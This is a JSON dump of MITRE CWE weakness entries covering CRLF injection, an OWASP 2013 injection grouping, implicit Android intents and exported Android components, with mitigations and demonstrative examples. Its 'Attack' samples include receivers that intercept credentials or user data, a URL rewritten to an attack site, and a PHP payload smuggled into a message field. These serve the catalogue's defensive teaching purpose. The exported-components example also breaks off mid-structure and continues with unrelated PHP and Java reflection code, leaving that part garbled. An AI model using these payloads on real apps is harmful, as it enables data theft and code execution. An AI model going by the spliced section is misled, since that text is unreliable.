proxy (add mail headers) using email address or name.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1771"}, {"Reference": "CVE-2002-1783", "Description": "CRLF injection in API function arguments modify headers for outgoing requests.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1783"}, {"Reference": "CVE-2004-1513", "Description": "Spoofed entries in web server log file via carriage returns", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1513"}, {"Reference": "CVE-2006-4624", "Description": "Chain: inject fake log entries with fake timestamps using CRLF injection", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4624"}, {"Reference": "CVE-2005-1951", "Description": "Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1951"}, {"Reference": "CVE-2004-1687", "Description": "Chain: HTTP response splitting via CRLF in parameter related to URL.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1687"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "CRLF Injection"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A2", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "WASC", "Entry_ID": "24", "Entry_Name": "HTTP Request Splitting"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "15"}, {"@CAPEC_ID": "81"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-928"}, {"@External_Reference_ID": "REF-1456"}, {"@External_Reference_ID": "REF-1457"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Sean Eidemiller", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "added/updated demonstrative examples"}, {"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-03-10", "Modification_Version": "1.3", "Modification_ReleaseDate": "2009-03-10", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-10-29", "Modification_Version": "1.6", "Modification_ReleaseDate": "2009-10-29", "Modification_Comment": "updated Other_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-12-28", "Modification_Version": "1.7", "Modification_ReleaseDate": "2009-12-28", "Modification_Comment": "updated Likelihood_of_Exploit"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Related_Attack_Patterns, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-04-05", "Modification_Version": "1.8.1", "Modification_ReleaseDate": "2010-04-05", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-03-29", "Modification_Version": "1.12", "Modification_ReleaseDate": "2011-03-30", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-11-19", "Modification_Version": "4.16", "Modification_ReleaseDate": "2024-11-19", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Diagram, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "CRLF Injection"}, {"@Date": "2009-05-27", "#text": "Failure to Sanitize CRLF Sequences (aka 'CRLF Injection')"}, {"@Date": "2010-06-21", "#text": "Failure to Sanitize CRLF Sequences ('CRLF Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Neutralization of CRLF Sequences ('CRLF Injection')"}]}, "entry_type": "Weakness", "ranking": 321.0}, {"@ID": "929", "@Name": "OWASP Top Ten 2013 Category A1 - Injection", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "74", "@View_ID": "928"}, {"@CWE_ID": "77", "@View_ID": "928"}, {"@CWE_ID": "78", "@View_ID": "928"}, {"@CWE_ID": "88", "@View_ID": "928"}, {"@CWE_ID": "89", "@View_ID": "928"}, {"@CWE_ID": "90", "@View_ID": "928"}, {"@CWE_ID": "91", "@View_ID": "928"}, {"@CWE_ID": "643", "@View_ID": "928"}, {"@CWE_ID": "652", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-927"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "927", "@Name": "Use of Implicit Intent for Sensitive Communication", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The Android application uses an implicit intent for transmitting sensitive data to other applications.", "Extended_Description": {"xhtml:p": ["Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.", "Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.", "Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.", "In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI."], "#text_blocks": ["Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.", "Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.", "Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.", "In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI."]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "285", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "923", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design"}}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": "Read Application Data", "Note": "Other applications, possibly untrusted, can read the data that is offered through the Intent."}, {"Scope": "Integrity", "Impact": "Varies by Context", "Note": "The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"Intro_Text": "This application wants to create a user account in several trusted applications using one broadcast intent:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.CreateUser\");intent.putExtra(\"Username\", uname_string);intent.putExtra(\"Password\", pw_string);sendBroadcast(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.CreateUser\");", "intent.putExtra(\"Username\", uname_string);", "intent.putExtra(\"Password\", pw_string);", "sendBroadcast(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null], "#text": "IntentFilter filter = new IntentFilter(\"com.example.CreateUser\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);"}, "#text_blocks": ["IntentFilter filter = new IntentFilter(\"com.example.CreateUser\");", "MyReceiver receiver = new MyReceiver();", "registerReceiver(receiver, filter);"]}], "Body_Text": ["This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:", "When a broadcast contains sensitive information, create an allowlist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver."]}, {"Intro_Text": "This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.service.UserExists\");intent.putExtra(\"Username\", uname_string);sendStickyBroadcast(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.service.UserExists\");", "intent.putExtra(\"Username\", uname_string);", "sendStickyBroadcast(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null], "#text": "IntentFilter filter = new IntentFilter(\"com.example.service.UserExists\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);"}, "#text_blocks": ["IntentFilter filter = new IntentFilter(\"com.example.service.UserExists\");", "MyReceiver receiver = new MyReceiver();", "registerReceiver(receiver, filter);"]}], "Body_Text": "Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username."}, {"Intro_Text": "This application is sending an ordered broadcast, asking other applications to open a URL:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.OpenURL\");intent.putExtra(\"URL_TO_OPEN\", url_string);sendOrderedBroadcastAsUser(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.OpenURL\");", "intent.putExtra(\"URL_TO_OPEN\", url_string);", "sendOrderedBroadcastAsUser(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "String Url = intent.getStringExtra(Intent.URL_TO_OPEN);attackURL = \"www.example.com/attack?\" + Url;setResultData(attackURL);"}, "#text": "@Overridepublic void onReceive(Context context, Intent intent) {}"}, "#text": "public class CallReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["public class CallReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(Context context, Intent intent) {", "String Url = intent.getStringExtra(Intent.URL_TO_OPEN);", "attackURL = \"www.example.com/attack?\" + Url;", "setResultData(attackURL);", "}", "}"]}], "Body_Text": ["Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:", "The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain."]}, {"@Demonstrative_Example_ID": "DX-108", "Intro_Text": "This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "Intent intent = new Intent();intent.setAction(\"com.example.BackupUserData\");intent.setData(file_uri);intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);sendBroadcast(intent);"}, "#text_blocks": ["Intent intent = new Intent();", "intent.setAction(\"com.example.BackupUserData\");", "intent.setData(file_uri);", "intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);", "sendBroadcast(intent);"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "Uri userData = intent.getData();stealUserData(userData);"}, "#text": "@Overridepublic void onReceive(Context context, Intent intent) {}"}, "#text": "public class CallReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["public class CallReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(Context context, Intent intent) {", "Uri userData = intent.getData();", "stealUserData(userData);", "}", "}"]}], "Body_Text": "Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data."}]}, "Observed_Examples": {"Observed_Example": {"Reference": "CVE-2022-4903", "Description": "An Android application does not use FLAG_IMMUTABLE when creating a PendingIntent.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-4903"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-922", "@Section": "3.2.1"}, {"@External_Reference_ID": "REF-923"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-09", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Demonstrative_Examples, Description, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Relationships"}]}, "entry_type": "Weakness", "ranking": 34.0}, {"@ID": "926", "@Name": "Improper Export of Android Application Components", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "285", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Background_Details": {"Background_Detail": {"xhtml:p": "There are three types of components that can be exported in an Android application.", "xhtml:ul": {"xhtml:li": ["An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.", "A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.", "The Content Provider mechanism can be used to share data with other applications or internally within the same application."]}, "#text_blocks": ["There are three types of components that can be exported in an Android application.", "An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.", "A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.", "The Content Provider mechanism can be used to share data with other applications or internally within the same application."]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design"}}, "Common_Consequences": {"Consequence": [{"Scope": ["Availability", "Integrity"], "Impact": ["Unexpected State", "DoS: Crash, Exit, or Restart", "DoS: Instability", "Varies by Context"], "Note": "If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application."}, {"Scope": ["Availability", "Integrity"], "Impact": ["Unexpected State", "Gain Privileges or Assume Identity", "DoS: Crash, Exit, or Restart", "DoS: Instability", "Varies by Context"], "Note": "If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application."}, {"Scope": ["Confidentiality", "Integrity"], "Impact": ["Read Application Data", "Modify Application Data"], "Note": "If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Build and Compilation", "Strategy": "Attack Surface Reduction", "Description": ["If they do not need to be shared by other applications, explicitly mark components with android:exported=\"false\" in the application manifest."]}, {"Phase": "Build and Compilation", "Strategy": "Attack Surface Reduction", "Description": ["If you only intend to use exported components between related apps under your control, use android:protectionLevel=\"signature\" in the xml manifest to restrict access to applications signed by you."]}, {"Phase": ["Build and Compilation", "Architecture and Design"], "Strategy": "Attack Surface Reduction", "Description": ["Limit Content Provider permissions (read/write) as appropriate."]}, {"Phase": ["Build and Compilation", "Architecture and Design"], "Strategy": "Separation of Privilege", "Description": ["Limit Content Provider permissions (read/write) as appropriate."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"Intro_Text": "This application is exporting an activity and a service in its manifest.xml:", "Example_Code": {"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:div": [{"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": ["...", "..."], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": " \\n\";"}, {"@style": "margin-left:1em;", "#text": "include($MessageFile);"}], "#text": "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {}else if ($_GET[\"action\"] == \"ViewMessages\") {}"}, "#text_blocks": ["$MessageFile = \"messages.out\";", "if ($_GET[\"action\"] == \"NewMessage\") {", "$name = $_GET[\"name\"];", "$message = $_GET[\"message\"];", "$handle = fopen($MessageFile, \"a+\");", "fwrite($handle, \"$name says '$message' \\n\";", "}", "else if ($_GET[\"action\"] == \"ViewMessages\") {", "include($MessageFile);", "}"]}, {"@Nature": "Attack", "xhtml:div": {"xhtml:br": null, "#text": "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"}, "#text_blocks": ["name=h4x0r", "message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"]}, {"@Nature": "Attack", "xhtml:div": "", "#text_blocks": [""]}], "Body_Text": ["While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:", "which will decode to the following:", "The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.", "Notice that XSS (CWE-79) is also possible in this situation."]}, {"@Demonstrative_Example_ID": "DX-232", "Intro_Text": "A common reason that programmers use the\n reflection API is to implement their own command\n dispatcher. The following example shows a command\n dispatcher that does not use reflection:", "Example_Code": [{"@Nature": "Good", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "ao = new AddCommand();"}, {"@style": "margin-left:1em;", "#text": "ao = new ModifyCommand();"}, {"@style": "margin-left:1em;", "#text": "throw new UnknownActionError();"}], "#text": "String ctl = request.getParameter(\"ctl\");\n\t\t\t\t Worker ao = null;\n\t\t\t\t if (ctl.equals(\"Add\")) {\n\t\t\t\t \n\t\t\t\t }\n\t\t\t\t else if (ctl.equals(\"Modify\")) {\n\t\t\t\t \n\t\t\t\t }\n\t\t\t\t else {\n\t\t\t\t }\n\t\t\t\t \n\t\t\t\t ao.doAction(request);"}, "#text_blocks": ["String ctl = request.getParameter(\"ctl\");", "Worker ao = null;", "if (ctl.equals(\"Add\")) {", "ao = new AddCommand();", "}", "else if (ctl.equals(\"Modify\")) {", "ao = new ModifyCommand();", "}", "else {", "throw new UnknownActionError();", "}", "ao.doAction(request);"]}, {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "String ctl = request.getParameter(\"ctl\");\n\t\t\t\t\tClass cmdClass = Class.forName(ctl + \"Command\");\n\t\t\t\t\tWorker ao = (Worker) cmdClass.newInstance();\n\t\t\t\t\tao.doAction(request);"}, "#text_blocks": ["String ctl = 